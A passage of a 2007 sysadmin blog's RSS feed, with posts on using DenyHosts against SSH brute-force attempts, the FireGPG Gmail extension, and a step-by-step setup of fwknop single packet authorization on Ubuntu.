	<li><a rel="nofollow"  href="http://www.google.com/bookmarks/mark?op=edit&amp;bkmk=http%3A%2F%2Fsavvyadmin.com%2Fperform-gnupg-functions-within-vim%2F&amp;title=Perform%20GnuPG%20Functions%20Within%20Vim&amp;annotation=Performing%20GnuPG%20functions%20from%20Vim%20is%20actually%20pretty%20helpful%20if%20you%20work%20heavily%20with%20both%20applications%20on%20a%20regular%20basis.%20%20I%20was%20recently%20looking%20for%20a%20simple%20way%20to%20both%20word%20wrap%20and%20clearsign%20various%20text%20files%20within%20Vim%2C%20and%20found%20just%20what%20" title="Google Bookmarks"><img src="http://savvyadmin.com/wp-content/plugins/sociable/images/googlebookmark.png" title="Google Bookmarks" alt="Google Bookmarks" class="sociable-hovers" /></a></li>
	<li class="sociablelast"><a rel="nofollow"  href="http://www.stumbleupon.com/submit?url=http%3A%2F%2Fsavvyadmin.com%2Fperform-gnupg-functions-within-vim%2F&amp;title=Perform%20GnuPG%20Functions%20Within%20Vim" title="StumbleUpon"><img src="http://savvyadmin.com/wp-content/plugins/sociable/images/stumbleupon.png" title="StumbleUpon" alt="StumbleUpon" class="sociable-hovers" /></a></li>
</ul>
</div>


<p>Related posts:<ol><li><a href='http://savvyadmin.com/vim-in-color/' rel='bookmark' title='Permanent Link: Vim in Color'>Vim in Color</a></li>
<li><a href='http://savvyadmin.com/revelation-password-manager-for-gnome/' rel='bookmark' title='Permanent Link: Revelation Password Manager for Gnome'>Revelation Password Manager for Gnome</a></li>
<li><a href='http://savvyadmin.com/grub-password-security/' rel='bookmark' title='Permanent Link: GRUB Password Security'>GRUB Password Security</a></li>
</ol></p>]]></content:encoded>
			<wfw:commentRss>http://savvyadmin.com/perform-gnupg-functions-within-vim/feed/</wfw:commentRss>
		<slash:comments>8</slash:comments>
		</item>
		<item>
		<title>DenyHosts: Automated SSH Brute Force Response System</title>
		<link>http://savvyadmin.com/denyhosts-automated-ssh-brute-force-response-system/</link>
		<comments>http://savvyadmin.com/denyhosts-automated-ssh-brute-force-response-system/#comments</comments>
		<pubDate>Sun, 02 Sep 2007 20:20:09 +0000</pubDate>
		<dc:creator>gmendoza</dc:creator>
				<category><![CDATA[Tech Tips]]></category>
		<category><![CDATA[DenyHosts]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[Networking]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[SSH]]></category>

		<guid isPermaLink="false">http://www.savvyadmin.com/2007/09/02/denyhosts-automated-ssh-brute-force-response-system/</guid>
		<description><![CDATA[DenyHosts is a project that adds a protective layer to an SSH server by automatically blocking malicious hosts that use brute force or dictionary attacks. If you have SSH services enabled and accessible from the internet, you will likely have thousands of failed login attempts from several sources within a very short period of time. [...]


Related posts:<ol><li><a href='http://savvyadmin.com/fwknop-single-packet-authorization-in-ubuntu/' rel='bookmark' title='Permanent Link: fwknop: Single Packet Authorization in Ubuntu'>fwknop: Single Packet Authorization in Ubuntu</a></li>
<li><a href='http://savvyadmin.com/virtualbox-wireless-bridging-with-dhcp/' rel='bookmark' title='Permanent Link: VirtualBox Wireless Bridging with DHCP'>VirtualBox Wireless Bridging with DHCP</a></li>
<li><a href='http://savvyadmin.com/vlan-hopping-on-cisco-voice-enabled-switch-ports/' rel='bookmark' title='Permanent Link: VLAN Hopping on Cisco Voice-enabled Switch Ports'>VLAN Hopping on Cisco Voice-enabled Switch Ports</a></li>
</ol>]]></description>
			<content:encoded><![CDATA[<p style="text-align: center;"><img class="aligncenter" src="https://www.savvyadmin.com/wp-content/uploads/2007/09/denyhosts.png" alt="DenyHosts" width="260" height="54" /></p>
<p>DenyHosts is a project that adds a protective layer to an SSH server by automatically blocking malicious hosts that use brute force or dictionary attacks.  If you have SSH services enabled and accessible from the internet, you will likely have thousands of failed login attempts from several sources within a very short period of time.  DenyHosts monitors all login attempts, and based on a customizable rule-set can block hosts from making further connections if an attack pattern is matched.</p>
<p>Using tcp_wrappers, the DenyHosts service elegantly manages entries in the /etc/hosts.deny file, adding and removing hosts when thresholds are crossed.  e.g. Three failed logins with unknown user accounts; Three failed logins with root account; Five failed logins with known user accounts; Unblock host after a set period of time; etc.  You can also specify whether DenyHosts blocks access to SSH or ALL services, thereby mitigating any other attack vectors the offender might try next.</p>
<p>A most valuable feature that makes DenyHosts even more attractive is the optional centralized reporting system.  The service can be configured to report all abusive hosts to the DenyHosts collection server, and automatically import a list of IP addresses that others have reported.  This network of intelligence gathering and incident response helps to thwart a large number of attacks before they happen, because the attackers (most of which are automated bots) are blocked before they have a chance to move on to other protected servers.Other useful features include email notification when hosts are blocked, and counter resets after successful authentication to prevent accidental blacklisting caused by fat fingered admins.  :-)</p>
<p>For those of you using Ubuntu 7.04 (Feisty Fawn) and above, it is available in the Universe repository:</p>
<blockquote><p><code><strong>sudo  apt-get install denyhosts</strong></code></p></blockquote>
<p>Edit and customize /etc/denyhosts.conf for your desired options, and restart the service:</p>
<blockquote><p><code><strong>sudo /etc/init.d/denyhosts restart</strong></code></p></blockquote>
<p>Ubuntu 6.06.1 LTS will need a manual installation, as it is not included in the repositories.</p>
<p>Be sure to check out the project at <a title="DenyHosts Project Website" href="http://denyhosts.sourceforge.net" target="_blank">http://denyhosts.sourceforge.net</a>.</p>

<div class="sociable">
<div class="sociable_tagline">
<strong>Share and Enjoy:</strong>
</div>
<ul>
	<li class="sociablefirst"><a rel="nofollow"  href="http://www.printfriendly.com/print?url=http%3A%2F%2Fsavvyadmin.com%2Fdenyhosts-automated-ssh-brute-force-response-system%2F&amp;partner=sociable" title="Print"><img src="http://savvyadmin.com/wp-content/plugins/sociable/images/printfriendly.png" title="Print" alt="Print" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow"  href="http://www.facebook.com/share.php?u=http%3A%2F%2Fsavvyadmin.com%2Fdenyhosts-automated-ssh-brute-force-response-system%2F&amp;t=DenyHosts%3A%20Automated%20SSH%20Brute%20Force%20Response%20System" title="Facebook"><img src="http://savvyadmin.com/wp-content/plugins/sociable/images/facebook.png" title="Facebook" alt="Facebook" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow"  href="http://twitter.com/home?status=DenyHosts%3A%20Automated%20SSH%20Brute%20Force%20Response%20System%20-%20http%3A%2F%2Fsavvyadmin.com%2Fdenyhosts-automated-ssh-brute-force-response-system%2F" title="Twitter"><img src="http://savvyadmin.com/wp-content/plugins/sociable/images/twitter.png" title="Twitter" alt="Twitter" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow"  href="http://delicious.com/post?url=http%3A%2F%2Fsavvyadmin.com%2Fdenyhosts-automated-ssh-brute-force-response-system%2F&amp;title=DenyHosts%3A%20Automated%20SSH%20Brute%20Force%20Response%20System&amp;notes=%0D%0A%0D%0ADenyHosts%20is%20a%20project%20that%20adds%20a%20protective%20layer%20to%20an%20SSH%20server%20by%20automatically%20blocking%20malicious%20hosts%20that%20use%20brute%20force%20or%20dictionary%20attacks.%20%20If%20you%20have%20SSH%20services%20enabled%20and%20accessible%20from%20the%20internet%2C%20you%20will%20likely%20have%20th" title="del.icio.us"><img src="http://savvyadmin.com/wp-content/plugins/sociable/images/delicious.png" title="del.icio.us" alt="del.icio.us" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow"  href="http://savvyadmin.com/feed/" title="RSS"><img src="http://savvyadmin.com/wp-content/plugins/sociable/images/rss.png" title="RSS" alt="RSS" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow"  href="http://digg.com/submit?phase=2&amp;url=http%3A%2F%2Fsavvyadmin.com%2Fdenyhosts-automated-ssh-brute-force-response-system%2F&amp;title=DenyHosts%3A%20Automated%20SSH%20Brute%20Force%20Response%20System&amp;bodytext=%0D%0A%0D%0ADenyHosts%20is%20a%20project%20that%20adds%20a%20protective%20layer%20to%20an%20SSH%20server%20by%20automatically%20blocking%20malicious%20hosts%20that%20use%20brute%20force%20or%20dictionary%20attacks.%20%20If%20you%20have%20SSH%20services%20enabled%20and%20accessible%20from%20the%20internet%2C%20you%20will%20likely%20have%20th" title="Digg"><img src="http://savvyadmin.com/wp-content/plugins/sociable/images/digg.png" title="Digg" alt="Digg" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow"  href="mailto:?subject=DenyHosts%3A%20Automated%20SSH%20Brute%20Force%20Response%20System&amp;body=http%3A%2F%2Fsavvyadmin.com%2Fdenyhosts-automated-ssh-brute-force-response-system%2F" title="email"><img src="http://savvyadmin.com/wp-content/plugins/sociable/images/email_link.png" title="email" alt="email" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow"  href="http://www.linkedin.com/shareArticle?mini=true&amp;url=http%3A%2F%2Fsavvyadmin.com%2Fdenyhosts-automated-ssh-brute-force-response-system%2F&amp;title=DenyHosts%3A%20Automated%20SSH%20Brute%20Force%20Response%20System&amp;source=SavvyAdmin.com+For+savvy+admins+everywhere...&amp;summary=%0D%0A%0D%0ADenyHosts%20is%20a%20project%20that%20adds%20a%20protective%20layer%20to%20an%20SSH%20server%20by%20automatically%20blocking%20malicious%20hosts%20that%20use%20brute%20force%20or%20dictionary%20attacks.%20%20If%20you%20have%20SSH%20services%20enabled%20and%20accessible%20from%20the%20internet%2C%20you%20will%20likely%20have%20th" title="LinkedIn"><img src="http://savvyadmin.com/wp-content/plugins/sociable/images/linkedin.png" title="LinkedIn" alt="LinkedIn" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow"  href="http://identi.ca/notice/new?status_textarea=http%3A%2F%2Fsavvyadmin.com%2Fdenyhosts-automated-ssh-brute-force-response-system%2F" title="Identi.ca"><img src="http://savvyadmin.com/wp-content/plugins/sociable/images/identica.png" title="Identi.ca" alt="Identi.ca" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow"  href="http://www.google.com/bookmarks/mark?op=edit&amp;bkmk=http%3A%2F%2Fsavvyadmin.com%2Fdenyhosts-automated-ssh-brute-force-response-system%2F&amp;title=DenyHosts%3A%20Automated%20SSH%20Brute%20Force%20Response%20System&amp;annotation=%0D%0A%0D%0ADenyHosts%20is%20a%20project%20that%20adds%20a%20protective%20layer%20to%20an%20SSH%20server%20by%20automatically%20blocking%20malicious%20hosts%20that%20use%20brute%20force%20or%20dictionary%20attacks.%20%20If%20you%20have%20SSH%20services%20enabled%20and%20accessible%20from%20the%20internet%2C%20you%20will%20likely%20have%20th" title="Google Bookmarks"><img src="http://savvyadmin.com/wp-content/plugins/sociable/images/googlebookmark.png" title="Google Bookmarks" alt="Google Bookmarks" class="sociable-hovers" /></a></li>
	<li class="sociablelast"><a rel="nofollow"  href="http://www.stumbleupon.com/submit?url=http%3A%2F%2Fsavvyadmin.com%2Fdenyhosts-automated-ssh-brute-force-response-system%2F&amp;title=DenyHosts%3A%20Automated%20SSH%20Brute%20Force%20Response%20System" title="StumbleUpon"><img src="http://savvyadmin.com/wp-content/plugins/sociable/images/stumbleupon.png" title="StumbleUpon" alt="StumbleUpon" class="sociable-hovers" /></a></li>
</ul>
</div>


<p>Related posts:<ol><li><a href='http://savvyadmin.com/fwknop-single-packet-authorization-in-ubuntu/' rel='bookmark' title='Permanent Link: fwknop: Single Packet Authorization in Ubuntu'>fwknop: Single Packet Authorization in Ubuntu</a></li>
<li><a href='http://savvyadmin.com/virtualbox-wireless-bridging-with-dhcp/' rel='bookmark' title='Permanent Link: VirtualBox Wireless Bridging with DHCP'>VirtualBox Wireless Bridging with DHCP</a></li>
<li><a href='http://savvyadmin.com/vlan-hopping-on-cisco-voice-enabled-switch-ports/' rel='bookmark' title='Permanent Link: VLAN Hopping on Cisco Voice-enabled Switch Ports'>VLAN Hopping on Cisco Voice-enabled Switch Ports</a></li>
</ol></p>]]></content:encoded>
			<wfw:commentRss>http://savvyadmin.com/denyhosts-automated-ssh-brute-force-response-system/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>FireGPG: Firefox Extension for Gmail</title>
		<link>http://savvyadmin.com/firegpg-firefox-extension-for-gmail/</link>
		<comments>http://savvyadmin.com/firegpg-firefox-extension-for-gmail/#comments</comments>
		<pubDate>Sun, 24 Jun 2007 22:17:34 +0000</pubDate>
		<dc:creator>gmendoza</dc:creator>
				<category><![CDATA[Tech Tips]]></category>
		<category><![CDATA[Firefox]]></category>
		<category><![CDATA[FireGPG]]></category>
		<category><![CDATA[Gmail]]></category>
		<category><![CDATA[GnuPG]]></category>
		<category><![CDATA[PGP]]></category>
		<category><![CDATA[Security]]></category>

		<guid isPermaLink="false">http://www.savvyadmin.com/2007/06/24/firegpg-firefox-extension-for-gmail/</guid>
		<description><![CDATA[Stumbled across a very cool Firefox extension called FireGPG. It adds a much needed feature to the Gmail web interface for those of us that use PGP encryption regularly. Here&#8217;s a screenshot of the buttons that are added to the composition page in Gmail. Be sure to check it out at: http://firegpg.tuxfamily.org/ Share and Enjoy: [...]


No related posts.]]></description>
			<content:encoded><![CDATA[<p>Stumbled across a very cool Firefox extension called <a title="FireGPG Extension Home Page" href="http://firegpg.tuxfamily.org/" target="_blank">FireGPG</a>.  It adds a much needed feature to the Gmail web interface for those of us that use PGP encryption regularly.</p>
<p>Here&#8217;s a screenshot of the buttons that are added to the composition page in Gmail.</p>
<p><img src="https://www.savvyadmin.com/wp-content/uploads/2007/06/firegpg-screenshot.png" alt="FireGPG Extension Screenshot" /></p>
<p>Be sure to check it out at:  <a title="FireGPG Extension Home Page" href="http://firegpg.tuxfamily.org/">http://firegpg.tuxfamily.org/</a></p>

<div class="sociable">
<div class="sociable_tagline">
<strong>Share and Enjoy:</strong>
</div>
<ul>
	<li class="sociablefirst"><a rel="nofollow"  href="http://www.printfriendly.com/print?url=http%3A%2F%2Fsavvyadmin.com%2Ffiregpg-firefox-extension-for-gmail%2F&amp;partner=sociable" title="Print"><img src="http://savvyadmin.com/wp-content/plugins/sociable/images/printfriendly.png" title="Print" alt="Print" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow"  href="http://www.facebook.com/share.php?u=http%3A%2F%2Fsavvyadmin.com%2Ffiregpg-firefox-extension-for-gmail%2F&amp;t=FireGPG%3A%20Firefox%20Extension%20for%20Gmail" title="Facebook"><img src="http://savvyadmin.com/wp-content/plugins/sociable/images/facebook.png" title="Facebook" alt="Facebook" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow"  href="http://twitter.com/home?status=FireGPG%3A%20Firefox%20Extension%20for%20Gmail%20-%20http%3A%2F%2Fsavvyadmin.com%2Ffiregpg-firefox-extension-for-gmail%2F" title="Twitter"><img src="http://savvyadmin.com/wp-content/plugins/sociable/images/twitter.png" title="Twitter" alt="Twitter" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow"  href="http://delicious.com/post?url=http%3A%2F%2Fsavvyadmin.com%2Ffiregpg-firefox-extension-for-gmail%2F&amp;title=FireGPG%3A%20Firefox%20Extension%20for%20Gmail&amp;notes=Stumbled%20across%20a%20very%20cool%20Firefox%20extension%20called%20FireGPG.%20%20It%20adds%20a%20much%20needed%20feature%20to%20the%20Gmail%20web%20interface%20for%20those%20of%20us%20that%20use%20PGP%20encryption%20regularly.%0D%0A%0D%0AHere%27s%20a%20screenshot%20of%20the%20buttons%20that%20are%20added%20to%20the%20composition%20page%20in" title="del.icio.us"><img src="http://savvyadmin.com/wp-content/plugins/sociable/images/delicious.png" title="del.icio.us" alt="del.icio.us" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow"  href="http://savvyadmin.com/feed/" title="RSS"><img src="http://savvyadmin.com/wp-content/plugins/sociable/images/rss.png" title="RSS" alt="RSS" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow"  href="http://digg.com/submit?phase=2&amp;url=http%3A%2F%2Fsavvyadmin.com%2Ffiregpg-firefox-extension-for-gmail%2F&amp;title=FireGPG%3A%20Firefox%20Extension%20for%20Gmail&amp;bodytext=Stumbled%20across%20a%20very%20cool%20Firefox%20extension%20called%20FireGPG.%20%20It%20adds%20a%20much%20needed%20feature%20to%20the%20Gmail%20web%20interface%20for%20those%20of%20us%20that%20use%20PGP%20encryption%20regularly.%0D%0A%0D%0AHere%27s%20a%20screenshot%20of%20the%20buttons%20that%20are%20added%20to%20the%20composition%20page%20in" title="Digg"><img src="http://savvyadmin.com/wp-content/plugins/sociable/images/digg.png" title="Digg" alt="Digg" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow"  href="mailto:?subject=FireGPG%3A%20Firefox%20Extension%20for%20Gmail&amp;body=http%3A%2F%2Fsavvyadmin.com%2Ffiregpg-firefox-extension-for-gmail%2F" title="email"><img src="http://savvyadmin.com/wp-content/plugins/sociable/images/email_link.png" title="email" alt="email" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow"  href="http://www.linkedin.com/shareArticle?mini=true&amp;url=http%3A%2F%2Fsavvyadmin.com%2Ffiregpg-firefox-extension-for-gmail%2F&amp;title=FireGPG%3A%20Firefox%20Extension%20for%20Gmail&amp;source=SavvyAdmin.com+For+savvy+admins+everywhere...&amp;summary=Stumbled%20across%20a%20very%20cool%20Firefox%20extension%20called%20FireGPG.%20%20It%20adds%20a%20much%20needed%20feature%20to%20the%20Gmail%20web%20interface%20for%20those%20of%20us%20that%20use%20PGP%20encryption%20regularly.%0D%0A%0D%0AHere%27s%20a%20screenshot%20of%20the%20buttons%20that%20are%20added%20to%20the%20composition%20page%20in" title="LinkedIn"><img src="http://savvyadmin.com/wp-content/plugins/sociable/images/linkedin.png" title="LinkedIn" alt="LinkedIn" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow"  href="http://identi.ca/notice/new?status_textarea=http%3A%2F%2Fsavvyadmin.com%2Ffiregpg-firefox-extension-for-gmail%2F" title="Identi.ca"><img src="http://savvyadmin.com/wp-content/plugins/sociable/images/identica.png" title="Identi.ca" alt="Identi.ca" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow"  href="http://www.google.com/bookmarks/mark?op=edit&amp;bkmk=http%3A%2F%2Fsavvyadmin.com%2Ffiregpg-firefox-extension-for-gmail%2F&amp;title=FireGPG%3A%20Firefox%20Extension%20for%20Gmail&amp;annotation=Stumbled%20across%20a%20very%20cool%20Firefox%20extension%20called%20FireGPG.%20%20It%20adds%20a%20much%20needed%20feature%20to%20the%20Gmail%20web%20interface%20for%20those%20of%20us%20that%20use%20PGP%20encryption%20regularly.%0D%0A%0D%0AHere%27s%20a%20screenshot%20of%20the%20buttons%20that%20are%20added%20to%20the%20composition%20page%20in" title="Google Bookmarks"><img src="http://savvyadmin.com/wp-content/plugins/sociable/images/googlebookmark.png" title="Google Bookmarks" alt="Google Bookmarks" class="sociable-hovers" /></a></li>
	<li class="sociablelast"><a rel="nofollow"  href="http://www.stumbleupon.com/submit?url=http%3A%2F%2Fsavvyadmin.com%2Ffiregpg-firefox-extension-for-gmail%2F&amp;title=FireGPG%3A%20Firefox%20Extension%20for%20Gmail" title="StumbleUpon"><img src="http://savvyadmin.com/wp-content/plugins/sociable/images/stumbleupon.png" title="StumbleUpon" alt="StumbleUpon" class="sociable-hovers" /></a></li>
</ul>
</div>


<p>No related posts.</p>]]></content:encoded>
			<wfw:commentRss>http://savvyadmin.com/firegpg-firefox-extension-for-gmail/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>fwknop: Single Packet Authorization in Ubuntu</title>
		<link>http://savvyadmin.com/fwknop-single-packet-authorization-in-ubuntu/</link>
		<comments>http://savvyadmin.com/fwknop-single-packet-authorization-in-ubuntu/#comments</comments>
		<pubDate>Sun, 24 Jun 2007 08:21:04 +0000</pubDate>
		<dc:creator>gmendoza</dc:creator>
				<category><![CDATA[Tech Tips]]></category>
		<category><![CDATA[Firewalls]]></category>
		<category><![CDATA[Fwknop]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[Networking]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[Ubuntu]]></category>

		<guid isPermaLink="false">http://www.savvyadmin.com/2007/06/24/fwknop-single-packet-authorization-in-ubuntu/</guid>
		<description><![CDATA[Updated (11/21/2007): I&#8217;ve added an updated version of this How-to on the community supported Ubuntu documentation site. The new document can be found at: https://help.ubuntu.com/community/SinglePacketAuthorization. Single Packet Authorization (SPA) using &#8220;fwknop&#8221; is probably one of the coolest recent innovations in server and network access control technology. Just what is SPA, you ask? SPA is a [...]


Related posts:<ol><li><a href='http://savvyadmin.com/ubuntus-ufw/' rel='bookmark' title='Permanent Link: Ubuntu&#8217;s Uncomplicated Firewall (UFW)'>Ubuntu&#8217;s Uncomplicated Firewall (UFW)</a></li>
<li><a href='http://savvyadmin.com/denyhosts-automated-ssh-brute-force-response-system/' rel='bookmark' title='Permanent Link: DenyHosts: Automated SSH Brute Force Response System'>DenyHosts: Automated SSH Brute Force Response System</a></li>
<li><a href='http://savvyadmin.com/vlan-hopping-on-cisco-voice-enabled-switch-ports/' rel='bookmark' title='Permanent Link: VLAN Hopping on Cisco Voice-enabled Switch Ports'>VLAN Hopping on Cisco Voice-enabled Switch Ports</a></li>
</ol>]]></description>
			<content:encoded><![CDATA[<p><strong>Updated (11/21/2007): </strong>I&#8217;ve added an updated version of this How-to on the community supported Ubuntu documentation site.  The new document can be found at: <a href="https://help.ubuntu.com/community/SinglePacketAuthorization" target="_blank">https://help.ubuntu.com/community/SinglePacketAuthorization</a>.</p>
<p>Single Packet Authorization (SPA) using &#8220;<a title="fwknop by CipherDyne" href="http://www.cipherdyne.org/fwknop/" target="_blank">fwknop</a>&#8221; is probably one of the coolest recent innovations in server and network access control technology.  Just what is SPA, you ask?   SPA is a method of  limiting access to server and network resources by cryptographically authenticating users before any type TCP/IP stack access is allowed.</p>
<p>In it&#8217;s simplest form, your Linux server can have an inbound firewall rule that by default drops all access to any of it&#8217;s listening services.  Nmap scans will completely fail to detect any open ports, and zero-day attacks will not have any effect on vulnerable services since the firewall is blocking access to the applications.</p>
<p>The server however has a nifty trick up it&#8217;s sleeve.  An authorized user sends a single encrypted UDP packet that is passively sniffed and analyzed by the <a title="fwknopd MAN page" href="http://www.cipherdyne.org/fwknop/docs/manpages/fwknopd.html" target="_blank">fwknopd</a> service running on the server using pcap.  If successfully authenticated, fwknopd dynamically creates an iptables firewall rule, granting the source IP address of the authorized client access to the service for a defined period of time (default is 30 seconds).  Pretty frickin&#8217; cool, eh?</p>
<p>Okay, so here&#8217;s how to get it working in Ubuntu 7.04.  <span id="more-25"></span></p>
<p>In this example, the service we will be protecting is SSH.  I will be using a simple firewall rule that blocks all inbound connections, but has an unrestricted outbound policy.  The client will authenticate using a GNUPG key pair.</p>
<p>1. We start by setting up the firewall. I&#8217;ve provided a firewall script below that should work for most configurations.  Tailor this to your needs.  Do NOT use this script unless you know for sure you want all traffic blocked.</p>
<blockquote><p><code>$ wget <a title="An example firewall" href="http://www.savvyadmin.com/downloads/firewall" target="_blank">http://www.savvyadmin.com/downloads/firewall</a><br />
$ sudo cp firewall /etc/init.d/firewall<br />
$ sudo chmod 755 /etc/init.d/firewall<br />
</code><code> $ sudo update-rc.d firewall defaults 10</code><br />
<code>$ sudo /etc/init.d/firewall start</code></p></blockquote>
<p>2. Install fwknop prerequisites.</p>
<blockquote><p><code>$ sudo apt-get install build-essential libpcap-dev mailx -y</code></p></blockquote>
<p>3. Download latest version of fwknop from the official website, and install.</p>
<p>Site: <a href="http://www.cipherdyne.org/fwknop/download/" target="_blank">http://www.cipherdyne.org/fwknop/download/</a></p>
<blockquote><p><code>$ wget http://www.cipherdyne.org/fwknop/download/fwknop-1.8.1.tar.gz<br />
$ tar zxvf fwknop-1.8.1.tar.gz<br />
$ cd fwknop-1.8.1<br />
$ sudo ./install.pl</code></p>
<p>(The installer will ask you a couple of questions.  You will need to provide the interface you wish the service to monitor, and specify that the installation should run as a server).</p>
<p><code>$ sudo update-rc.d fwknop defaults 20 </code></p></blockquote>
<p>4. You (the client) and the server should use individualized PGP key pairs for this to work as securely as possible.  The client will use it&#8217;s own private key to digitally sign the SPA packet payload, and  then use the servers public key to encrypt it as well.  The server will use the clients public key and digital signature to verify that the SPA packet originated from a trusted source.  This means that both the server and the client will need a <em>signed</em> copy of each others public keys in their keyring.</p>
<p>The instructions on how to generate these key pairs are located at:</p>
<p><a title="fwknop with Gnupg guide" href="http://www.cipherdyne.org/fwknop/docs/gpghowto.html" target="_blank">http://www.cipherdyne.org/fwknop/docs/gpghowto.html </a></p>
<p>Once you have followed the sites instructions, you&#8217;re almost ready to have SPA working.  I know it&#8217;s a lot to take in if you are not familiar with the concepts behind the PGP cryptosystem, so make sure to <a title="PGP on Wikipedia" href="http://en.wikipedia.org/wiki/Pretty_Good_Privacy" target="_blank">read up on it</a> if you&#8217;re feeling a bit lost.  Gnupg&#8217;s manual is located <a title="Gnupg User Manual" href="http://www.gnupg.org/(en)/documentation/guides.html" target="_blank">here</a>.</p>
<p>5.  As also mentioned in the above referenced article, you will need to edit the fwknop configuration file &#8220;/etc/fwknop/access.conf&#8221;.   An example of this configuration is shown below.</p>
<blockquote><p><code>SOURCE: ANY;<br />
OPEN_PORTS: tcp/22;<br />
DATA_COLLECT_MODE: PCAP;<br />
GPG_HOME_DIR: /root/.gnupg;<br />
GPG_DECRYPT_ID: SERVER_KEY_ID;<br />
GPG_DECRYPT_PW: PASSWORD_HERE;<br />
GPG_REMOTE_ID: CLIENT_KEY_ID;<br />
FW_ACCESS_TIMEOUT: 30;</code></p></blockquote>
<p>6. Start the fwknopd service:</p>
<blockquote><p><code>$ sudo /etc/init.d/fwknop start</code></p></blockquote>
<p>7. You should now be ready to test things out using another computer with the fwknop client.  You install everything exactly the same as the server, with the exception of specifying that the installer should run fwknop as a client.</p>
<p>The typical authorization process from client to server can be completed as follows.</p>
<blockquote><p><code>$ fwknop -A tcp/22 --gpg-recip SERVER_KEY --gpg-sign CLIENT_KEY -w -k SERVER_IP</code></p></blockquote>
<p>The &#8220;-w&#8221; flag queries www.whatismyip.com for the clients real ip address and uses that as the source address.  This is useful when you are behind a NAT firewall, since the source address specified on the SPA packet would otherwise be a local address.</p>
<p>If you are on the same network as the server, or simply do not have to worry about NAT, the syntax would be as follows:</p>
<blockquote><p><code>$ fwknop -A tcp/22 --gpg-recip SERVER_KEY --gpg-sign CLIENT_KEY -a CLIENT_IP -k SERVER_IP</code></p></blockquote>
<p>If successful, your server adds the appropriate access list entry for you to connect using your ssh client.  You will have 30 seconds to make the connection, after which the access list is dynamically removed.</p>
<blockquote><p><code>$ ssh username@SERVER_IP</code></p></blockquote>
<p>It is important to note that the SPA packet is sent to the servers IP address using the destination port of UDP/62201.  You must ensure that this port number is allowed outbound from the network you are connecting from, and that no router or firewall is blocking it from reaching your server.</p>
<p>It should also be noted that the time stamp embedded in the SPA packet must fall within 120 seconds of the servers clock.  You should make sure that both the server and client are using NTP to keep their clocks as close as possible.</p>
<p>Check out your syslogs and iptables output for useful information while testing.</p>
<blockquote><p><code>$ watch -n1 sudo iptables -L -n<br />
$ tail -f /var/log/syslog</code></p></blockquote>
<p>Hope this provides you with some very useful information to get you started with SPA.</p>

<div class="sociable">
<div class="sociable_tagline">
<strong>Share and Enjoy:</strong>
</div>
<ul>
	<li class="sociablefirst"><a rel="nofollow"  href="http://www.printfriendly.com/print?url=http%3A%2F%2Fsavvyadmin.com%2Ffwknop-single-packet-authorization-in-ubuntu%2F&amp;partner=sociable" title="Print"><img src="http://savvyadmin.com/wp-content/plugins/sociable/images/printfriendly.png" title="Print" alt="Print" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow"  href="http://www.facebook.com/share.php?u=http%3A%2F%2Fsavvyadmin.com%2Ffwknop-single-packet-authorization-in-ubuntu%2F&amp;t=fwknop%3A%20Single%20Packet%20Authorization%20in%20Ubuntu" title="Facebook"><img src="http://savvyadmin.com/wp-content/plugins/sociable/images/facebook.png" title="Facebook" alt="Facebook" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow"  href="http://twitter.com/home?status=fwknop%3A%20Single%20Packet%20Authorization%20in%20Ubuntu%20-%20http%3A%2F%2Fsavvyadmin.com%2Ffwknop-single-packet-authorization-in-ubuntu%2F" title="Twitter"><img src="http://savvyadmin.com/wp-content/plugins/sociable/images/twitter.png" title="Twitter" alt="Twitter" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow"  href="http://delicious.com/post?url=http%3A%2F%2Fsavvyadmin.com%2Ffwknop-single-packet-authorization-in-ubuntu%2F&amp;title=fwknop%3A%20Single%20Packet%20Authorization%20in%20Ubuntu&amp;notes=Updated%20%2811%2F21%2F2007%29%3A%20I%27ve%20added%20an%20updated%20version%20of%20this%20How-to%20on%20the%20community%20supported%20Ubuntu%20documentation%20site.%20%20The%20new%20document%20can%20be%20found%20at%3A%20https%3A%2F%2Fhelp.ubuntu.com%2Fcommunity%2FSinglePacketAuthorization.%0D%0A%0D%0ASingle%20Packet%20Authorization%20%28S" title="del.icio.us"><img src="http://savvyadmin.com/wp-content/plugins/sociable/images/delicious.png" title="del.icio.us" alt="del.icio.us" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow"  href="http://savvyadmin.com/feed/" title="RSS"><img src="http://savvyadmin.com/wp-content/plugins/sociable/images/rss.png" title="RSS" alt="RSS" class="sociable-hovers" /></a></li>
